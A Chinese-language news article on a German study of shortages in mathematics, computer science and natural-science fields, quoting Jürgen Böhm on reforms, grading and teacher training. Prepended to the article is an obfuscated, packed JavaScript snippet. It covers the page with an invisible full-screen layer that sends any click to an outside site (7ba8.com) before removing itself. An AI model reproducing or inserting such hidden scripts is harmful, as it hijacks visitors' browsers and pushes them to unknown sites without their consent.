<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>德国教育质量发展研究所的研究结果表明，数学、信息科学、自然科学等技术类专业存在巨大的人才缺口，需要制定有针对性的教育政策和有效的激励机制予以推动。
调查表明，教育应该注重质量、连续性和专业性。德国实科中学协会会长玻姆·于尔根称，过去几年里，德国有些州不断进行教学结构改革的做法不过是假装成教育科学试验，德国各州在自然科学和数学专业的成绩参差不齐，各州之间在教学质量方面存在着巨大差异。
玻姆还认为，促进技术类专业发展，要付出不懈的努力，并且对学生的表现严格评估，那些试图降低评估标准，甚至取消分数的做法一定会失败。此外，德国教师的地位低下也给技术类专业发展带来阻碍，在有些州，有15%的数学教师专业并非是数学，这在依靠高科技发展的德国是不合常理的。因此，各个高校在未来应高度重视教师培训。 |
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